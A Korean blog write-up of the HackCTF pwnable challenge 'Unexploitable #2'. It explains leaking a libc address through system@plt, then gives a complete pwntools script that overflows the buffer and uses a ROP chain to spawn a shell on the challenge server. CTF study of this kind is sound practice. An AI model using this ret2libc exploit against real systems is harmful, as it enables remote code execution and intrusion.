문제 풀이 환경 : ubuntu 18.04 |
이런 시리즈류의 문제는 잘 모르겠으면 그 다음 문제와 비교하여 뭐가 달라졌는지 확인하면
큰 힌트가 될 수 있다.
아 그리고 system함수로 leak을 할 수 있는 걸 처음 알았다.
주어진 파일은 문제파일 바이너리
Analysis
일단 실행
귀신같이 fflush로 문제푼건 어떻게 알고...ㅎ
IDA
1이랑 코드가 거의 똑같다. 대신 fflush가 없다.
사실 이 문제 시리즈 3을 봤는데, 거기엔 system@plt가 없다고 했다. 그래서 system함수를 이용하여 문제를 푸는구나~라고 생각하고 system함수에 집중하였다.
How to exploit
system 함수의 인자로는 명령어가 들어간다. 근데... 평범한 문자열..? 이 들어간다면 어떻게 될까
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
system("leak");
return 0;
}
이렇게 system함수를 이용해서 leak하고, libc base 구한 다음 ROP 슈슈슉 하면 될 것 같다!!!!
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
난 맨날 leak한거 가져오는거 헷갈려한다. ㅎ;;
Let's exploit
이거 근데 로컬에서 하면 저 에러가 안뜬다... 그래서 고생 좀 했다.
저번 문제(j0nhyun9's secret인가)도 그렇고... 로컬 좀 이상하면(?) 리모트도 바로 해보는 습관을 길러야겠다.
from pwn import *
#p = process('./Unexploitable_2')
p = remote('ctf.j0n9hyun.xyz', 3029)
e = ELF('./Unexploitable_2')
system_plt = e.plt['system']
system_got = e.got['system']
pop_rdi = 0x400773
main = 0x40068c
payload = ''
payload += 'a' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(system_got)
payload += p64(system_plt)
payload += p64(main)
p.recvuntil('!\n')
p.sendline(payload)
#p.recvline()
p.recvuntil('1: ')
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('system_addr : '+hex(leak))
binsh = leak + 0x1479c7
payload = ''
payload += 'a' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.recvuntil('!\n')
p.sendline(payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] SysROP 풀이 (64bit, SROP, 브포) (0) | 2021.04.16 |
---|---|
[HackCTF : Pwnable] SysROP 풀이 (64bit, SROP) (0) | 2021.04.16 |
[HackCTF : Pwnable] Unexploitable #1 풀이 (64bit, sh) (0) | 2021.04.15 |
[HackCTF : Pwnable] j0n9hyun's secret 풀이 (64bit, fd overwrite) (0) | 2021.04.15 |
[HackCTF : Pwnable] uaf 풀이 (32bit, uaf, 힙알못) (0) | 2021.04.15 |